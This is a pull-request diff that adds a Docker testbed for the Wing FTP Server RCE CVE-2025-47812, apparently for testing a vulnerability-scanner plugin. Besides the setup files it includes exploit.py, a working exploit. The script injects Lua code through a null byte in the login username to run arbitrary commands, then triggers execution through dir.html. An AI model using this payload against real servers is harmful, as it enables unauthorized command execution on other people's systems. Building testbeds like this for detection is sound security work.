Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
31 changes: 31 additions & 0 deletions wingftp/CVE-2025-47812/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
# Use a minimal base image
FROM ubuntu:22.04

# Set non-interactive mode
ENV DEBIAN_FRONTEND=noninteractive

# Install required packages
RUN apt-get update && apt-get install -y \
tar \
curl \
&& rm -rf /var/lib/apt/lists/*


# Copy WingFTP archive and setup script
COPY wftpserver-linux-64bit.tar.gz /tmp/
COPY setup-target.sh /opt/wftpserver/

# Extract WingFTP into /opt/wftpserver
RUN tar -xzf /tmp/wftpserver-linux-64bit.tar.gz -C /opt/ && \
rm -f /tmp/wftpserver-linux-64bit.tar.gz && \
chmod +x /opt/wftpserver/setup-target.sh && \
chmod +x /opt/wftpserver/wftpserver

# Set working directory
WORKDIR /opt/wftpserver

# Expose ports
EXPOSE 5466 5467

# Run the setup script
ENTRYPOINT ["./setup-target.sh"]
101 changes: 101 additions & 0 deletions wingftp/CVE-2025-47812/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,101 @@
# WingFTP Testbed for CVE-2025-47812

A comprehensive Docker testbed for WingFTP server that automates deployment, configuration, and provisioning for testing tsunami scanner plugin.

## Overview

This testbed creates a fully containerized WingFTP environment with automated setup, pre-configured admin access, and a demo domain with anonymous user access. The setup is optimized for rapid deployment and testing scenarios.

## Architecture

### Docker Image Components


**Application Layer**
- **WingFTP Server**: Extracted to `/opt/wftpserver/`
- **Configuration Management**: Automated XML-based admin and domain setup
- **Service Orchestration**: Background process management with health checks

### Port Configuration

| Port | Service | Purpose |
|------|---------|---------|
| `5466` | Admin Web UI | Management console and configuration interface |
| `5467` | Domain Controller | Primary domain web interface for user access |

## Setup Process

### Phase 1: Infrastructure Setup
- Extracts WingFTP server binaries and makes them executable
- Configures directory structure and permissions
- Initializes logging and runtime directories

### Phase 2: Administrative Configuration
- **Admin Credentials Setup**
- Username: `administrator`
- Password: `wingftp` (MD5 hashed in configuration)
- Binds admin interface to port `5466`
- **Security Configuration**: Applies minimal security settings for testing environment

### Phase 3: Domain Provisioning
- **Background Service**: Launches WingFTP server daemon
- **Readiness Verification**: Polls for service availability
- **Session Management**: Establishes authenticated admin session via `UIDADMIN` cookie
- **Domain Creation**:
- Domain Name: `poc`
- Binding: All network interfaces
- Protocol Configuration: HTTP on port `5467` (FTP/FTPS disabled)

### Phase 4: User Provisioning
- **Anonymous User**: Created with standard access permissions
- **Default Limits**: Configured for testing scenarios
- **Access Controls**: Relaxed restrictions for development/testing

## Quick Start

### Prerequisites
- Docker Engine installed and running
- Required files in build context:
- `wftpserver-linux-64bit.tar.gz`
- `setup-target.sh`

### Deployment Commands

```bash
# Build the testbed image
docker build -t wingftp-testbed .

# Run with port mapping
docker run --rm -p 5466:5466 -p 5467:5467 --name wingftp wingftp-testbed

# Alternative: Run in detached mode
docker run -d -p 5466:5466 -p 5467:5467 --name wingftp wingftp-testbed

# View logs
docker logs -f wingftp
```

## Access Points

### Administrative Interface
- **URL**: `http://localhost:5466`
- **Username**: `administrator`
- **Password**: `wingftp`

### Domain Web Interface
- **URL**: `http://localhost:5467`
- **Access**: Anonymous user enabled

## Testing

### CVE-2025-47812 Exploitation

Execute the provided exploit script against the running testbed:

```bash
# Ensure testbed is running
docker ps | grep wingftp

# Run exploit against target
python3 exploit.py
```
103 changes: 103 additions & 0 deletions wingftp/CVE-2025-47812/exploit.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,103 @@
import requests
import re
from urllib.parse import quote
import time

def get_uid_cookie(session, base_url, username, command):
url = f"{base_url}/loginok.html"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36",
"Origin": base_url,
"Referer": f"{base_url}/login.html",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9",
"Connection": "keep-alive",
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-User": "?1",
"Sec-Fetch-Dest": "document",
"sec-ch-ua": '"Not.A/Brand";v="99", "Chromium";v="136"',
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-platform": '"Linux"',
}

encoded_username = quote(username)
payload = (
f"username={encoded_username}%00]]%0dlocal+h+%3d+io.popen(\"{command}\")%0dlocal+r+%3d+h%3aread(\"*a\")"
"%0dh%3aclose()%0dprint(r)%0d--&password="
)

print(f"[*] Trying to get UID... Payload: {command}")
print("Payload used :" + payload)
try:
response = session.post(url, data=payload, headers=headers)
set_cookie = response.headers.get("Set-Cookie", "")
match = re.search(r"UID=([a-f0-9]+)", set_cookie)
if match:
uid = match.group(1)
print(f"[+] UID obtained: {uid}")
return uid
else:
print("[-] UID not found!")
return None
except Exception as e:
print(f"[-] Error occurred: {e}")
return None

def post_to_dir(session, base_url, uid):
url = f"{base_url}/dir.html"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36",
"Origin": base_url,
"Referer": f"{base_url}/login.html",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9",
"Connection": "close",
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-User": "?1",
"Sec-Fetch-Dest": "document",
"sec-ch-ua": '"Not.A/Brand";v="99", "Chromium";v="136"',
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-platform": '"Linux"',
"Cookie": f"UID={uid}"
}

print("[*] Sending /dir.html request...")
try:
response = session.post(url, data=b"1", headers=headers)
print(f"[+] HTTP {response.status_code}")
print("------ Response Start ------")
print(response.text)
print("------ Response End ------")
except Exception as e:
print(f"[-] Error: {e}")

def main():
print("=" * 60)
print(" CVE-2025-47812 - Wing FTP Server RCE Exploit")
print("=" * 60)

base_url = "http://localhost:5467"
username = "anonymous"

command = input("Command to execute (default: whoami): ").strip() or "whoami"
session = requests.Session()
uid = get_uid_cookie(session, base_url, username, command)
if uid:
post_to_dir(session, base_url, uid)
else:
print("[-] Failed to obtain UID, exploit aborted.")



if __name__ == "__main__":
main()
115 changes: 115 additions & 0 deletions wingftp/CVE-2025-47812/setup-target.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,115 @@
#!/usr/bin/env bash
# wingftp_autosetup.sh - Minimal auto setup: start WingFTP, create domain+user
# Testbed for WingFTP CVE-2025-47812
set -euo pipefail

ADMIN="administrator"
PASS="wingftp"
PORT="5466"
HOST="127.0.0.1:5466"
BASE_URL="http://127.0.0.1:5466"
WING_HOME="$(dirname "$(readlink -f "$0")")"
ADMIN_DIR="$WING_HOME/Data/_ADMINISTRATOR"

# --- Setup admin XML ---
mkdir -p "$ADMIN_DIR"
MD5=$(echo -n "$PASS" | md5sum | awk '{print $1}')
cat >"$ADMIN_DIR/admins.xml" <<EOF
<ADMIN_ACCOUNTS><ADMIN><Admin_Name>$ADMIN</Admin_Name><Password>$MD5</Password><Type>0</Type></ADMIN></ADMIN_ACCOUNTS>
EOF
cat >"$ADMIN_DIR/settings.xml" <<EOF
<Administrator><HttpPort>$PORT</HttpPort><HttpSecure>0</HttpSecure></Administrator>
EOF

# --- Start server in background for setup ---
"$WING_HOME/wftpserver" >/dev/null 2>&1 &
SERVER_PID=$!
echo "WingFTP server started with PID: $SERVER_PID"



# Wait for server to be ready
echo "Waiting for server to initialize..."
sleep 5

# Test if server is responding
for i in {1..10}; do
if curl -s -f "$BASE_URL/admin_login.html" >/dev/null 2>&1; then
echo "Server is ready!"
break
fi
echo "Waiting for server... ($i/10)"
sleep 2
done

# Login and grab UIDADMIN cookie
echo "Performing login..."
LOGIN_RESP=$(curl --path-as-is -i -s -k -X 'POST' \
-H "Host: ${HOST}" \
-H 'Content-Length: 87' \
-H 'Cache-Control: max-age=0' \
-H "Origin: ${BASE_URL}" \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8' \
-H 'Sec-GPC: 1' \
-H 'Accept-Language: en-US,en;q=0.6' \
-H "Referer: ${BASE_URL}/admin_login.html" \
-H 'Accept-Encoding: gzip, deflate, br' \
-H 'Connection: keep-alive' \
-b 'admin_lang=english' \
--data-binary "username=${ADMIN}&password=${PASS}&username_val=${ADMIN}&password_val=${PASS}" \
"$BASE_URL/admin_loginok.html")

UIDADMIN=$(echo "$LOGIN_RESP" | grep -i '^Set-Cookie:' | grep -o 'UIDADMIN=[^;]*' | head -n1 | cut -d'=' -f2)
if [[ -z "$UIDADMIN" ]]; then
echo "Login failed - server may not be ready"
echo "Server PID: $SERVER_PID"
ps aux | grep wftpserver || true
exit 1
fi

echo "Login successful, creating domain and user..."
COOKIE="admin_lang=english; UIDADMIN=$UIDADMIN"

# Create domain
curl --path-as-is -i -s -k -X 'POST' \
-H "Host: ${HOST}" \
-H 'Content-Length: 90' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Accept: */*' \
-H 'Sec-GPC: 1' \
-H 'Accept-Language: en-US,en;q=0.6' \
-H "Origin: ${BASE_URL}" \
-H "Referer: ${BASE_URL}/main.html?lang=english" \
-H 'Accept-Encoding: gzip, deflate, br' \
-H 'Connection: keep-alive' \
-b "$COOKIE" \
--data-binary 'domain=poc&bindaddress=*&ftp_port=-1&ftps_port=-1&http_port=5467&https_port=-1&ssh_port=-1' \
"$BASE_URL/admin_create_domain.html" > /dev/null

# Create anonymous user in the new domain
curl --path-as-is -i -s -k -X 'POST' \
-H "Host: ${HOST}" \
-H 'Content-Length: 1623' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Accept: */*' \
-H 'Sec-GPC: 1' \
-H 'Accept-Language: en-US,en;q=0.6' \
-H "Origin: ${BASE_URL}" \
-H "Referer: ${BASE_URL}/admin_adduser_form.html?domain=poc&seeds=0.009813035357509325" \
-H 'Accept-Encoding: gzip, deflate, br' \
-H 'Connection: keep-alive' \
-b "$COOKIE" \
--data-binary $'domain=poc&user=%7B%22username%22%3A%22anonymous%22%2C%22password%22%3A%22%22%2C%22max_download%22%3A%220%22%2C%22max_upload%22%3A%220%22%2C%22max_download_account%22%3A%220%22%2C%22max_upload_account%22%3A%220%22%2C%22max_connection%22%3A%220%22%2C%22connect_timeout%22%3A%225%22%2C%22idle_timeout%22%3A%225%22%2C%22connect_per_ip%22%3A%220%22%2C%22pass_length%22%3A%220%22%2C%22show_hidden_file%22%3A0%2C%22change_pass%22%3A0%2C%22send_message%22%3A0%2C%22ratio_credit%22%3A%220%22%2C%22ratio_download%22%3A%221%22%2C%22ratio_upload%22%3A%221%22%2C%22ratio_count_method%22%3A0%2C%22enable_ratio%22%3A0%2C%22current_quota%22%3A%220%22%2C%22max_quota%22%3A%220%22%2C%22enable_quota%22%3A0%2C%22note_name%22%3A%22%22%2C%22note_address%22%3A%22%22%2C%22note_zip%22%3A%22%22%2C%22note_phone%22%3A%22%22%2C%22note_fax%22%3A%22%22%2C%22note_email%22%3A%22%22%2C%22note_memo%22%3A%22%22%2C%22ipmasks%22%3A%5B%5D%2C%22filemasks%22%3A%5B%5D%2C%22directories%22%3A%5B%5D%2C%22usergroups%22%3A%5B%5D%2C%22schedules%22%3A%5B%5D%2C%22subdir_perm%22%3A%5B%5D%2C%22enable_schedule%22%3A0%2C%22limit_reset_type%22%3A%220%22%2C%22limit_enable_upload%22%3A0%2C%22cur_upload_size%22%3A%220%22%2C%22max_upload_size%22%3A%220%22%2C%22limit_enable_download%22%3A0%2C%22cur_download_size%22%3A%220%22%2C%22max_download_size%22%3A%220%22%2C%22enable_expire%22%3A0%2C%22expiretime%22%3A%22%22%2C%22protocol_type%22%3A63%2C%22enable_password%22%3A0%2C%22enable_account%22%3A1%2C%22ssh_pubkey_path%22%3A%22%22%2C%22enable_ssh_pubkey_auth%22%3A0%2C%22ssh_auth_method%22%3A0%2C%22enable_weblink%22%3A1%2C%22enable_uplink%22%3A1%7D&r=0.6865473607034562' \
"${BASE_URL}/admin_adduser.html" > /dev/null

echo "WingFTP automation complete"
\echo "Admin interface: http://127.0.0.1:5466"
echo "Domain server: http://127.0.0.1:5467"

# Keep container alive
while true; do sleep 3600; done
Binary file not shown.